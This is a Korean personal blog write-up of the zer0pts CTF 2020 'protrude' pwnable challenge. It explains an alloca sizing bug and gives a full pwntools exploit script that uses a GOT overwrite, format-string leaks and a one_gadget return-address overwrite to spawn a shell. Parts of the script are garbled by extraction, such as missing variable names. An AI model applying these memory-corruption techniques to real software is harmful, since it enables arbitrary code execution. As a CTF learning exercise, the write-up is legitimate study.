SDJ( 수돈재 아님 ㅎ )

zer0pts ctf 2020 - protrude 본문

write-up/pwnable

zer0pts ctf 2020 - protrude

ShinDongJun 2020. 3. 11. 03:27

파일 다운로드

protrude_62cb5c6d07b72c0e20fcdcfacf0cd64f.tar.gz
0.78MB


으아 피곤하다

 

alloca함수를 처음 본 바이너리다.

돌리다가 계속 어딘가에서 터지는데 원인을 잘 몰라서 어셈블리어로 찬찬히 디버깅했더니 

alloca(4 * n)하는 부분에서 뭔가 오류가 있는듯 보인다.

 

어셈블리로 본 alloca(4 * n)을 하는 과정

 

결론만 보면 별거없긴 한데.. 어셈블리어 로직상 alloca가 할당해주는 범위가 입력한 n*8보다 작기 때문에 입력을 하면서 alloca가 할당한 스택 프레임을 원하는 값으로 바꿀 수 있고, 원하는 값을 쓸 수 있게된다.

 

그래서 나는 atol 함수를 printf로 바꾸고 포맷스트링을 하다가 main함수의 ret를 one_gadget으로 바꾸고 익스했다.

 

어셈 초보의 노오력...

어셈블리어를 몰라서 이마저도 힘들게 느껴지는데 분발해야지..

 

 

풀다가 느낀 궁금한점..

더보기
Dev-C++
linux Ubuntu 16.04

윈도우랑 linux랑 long을 처리하는 byte기준이 다른건가 라는 의문이 생긴다.

맨 처음 alloca(4 * n)면 4byte씩 n개 해서 딱 맞게 할당하는 줄 알았는데 linux에서는 8byte로 처리를 해서 그냥 overflow 취약점이 존재하는 듯????(?

 

ㅠㅠ

 

어쨋든..

exploit 흐름

1. n을 제일 큰 값인 22로 준다.

2. 15번째에서 값을 잘 조절해서 alloca가 반환한 스택 프레임을 atol got로 바꾸고 printf의 plt로 덮는다. ( atol를 그대로 덮으면 안된다 index를 계산해서 덮어줘야 한다. )

3. 포맷스트링으로 n의 값을 크게 조절한다.

4. 포맷스트링으로 stack 값과 libc 값을 leak하고, alloca가 반환한 스택 프레임을 bss한가운데로 돌린다.

5. main의 ret을 one_gadget으로 바꾼다.

6. n을 0으로 바꾼다 ( main으로 돌아감 )

 

 

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import binascii
 
= process("./chall")
 
puts_plt = 0x400660
read_plt = 0x006b0
printf_plt = 0x400690
 
read_got = 0x601040
atol_got = 0x601048
printf_got = 0x601030
 
= 0x00000000006010B0
 
= 0.1
p.sendafter("n = "str(22))
sleep(t)
 
for i in range(0x78//8):
    p.sendafter(" = "str(i+1))
 
p.sendafter(" = "str(atol_got - 8*17))
p.sendafter(" = "str(printf_plt))
 
pay = ''
pay += '%'+str(0x999)+'c%10$ln'
# pay += '%10$lx'
pay += '\x00'*(0x10 - len(pay))
pay += p64(n)
p.sendafter(" = "str(pay))    # n -> infinite
 
pay = ''
pay += '%lx-%3$lx'
p.sendafter(" = "str(pay))
 
stack_base = int(p.recvuntil("-")[:-1], 16- 0x1fd40
print "stack_base : " + hex(stack_base)
libc_base = int(p.recvuntil("num")[:-3], 16- 0xf7260
print "libc_base : " + hex(libc_base)
one = [0x452160x4526a0xf02a40xf1147]
 
one_gadget = libc_base + one[0]
print "one_gadget : " + hex(one_gadget)
 
buf_addr = stack_base + 0x1fe00
print "buf_addr : " + hex(buf_addr)
 
pay = ''
pay += '%' + str(0x1100+ 'c%10$hn'
pay += '\x00'*(0x10 - len(pay))
pay += p64(buf_addr)
p.sendafter(" = ", pay)
 
for i in range(8):
    k = (one_gadget >> 8*i) & 0xff
    if k != 0:
        pay = '%' + str(k) + 'c%10$hhn'
        pay += 'a'*(0x10-len(pay))
        pay += p64(buf_addr + 0x28 + i)    # ret
        p.sendafter(" = ", pay)
 
pay = ''
pay += '%' + str(0+ 'c%10$ln'
pay += '\x00'*(0x10 - len(pay))
pay += p64(n)
p.sendafter(" = ", pay)
 
 
p.interactive()

 

'write-up > pwnable' 카테고리의 다른 글

pwn2win 2020 - tukro  (0) 2020.06.03
SuSeC CTF 2020 - unary  (0) 2020.03.16
zer0pts ctf 2020 - diylist  (0) 2020.03.10
zer0pts ctf 2020 - hipwn  (0) 2020.03.10
utctf 2020 - zurk  (0) 2020.03.09
Comments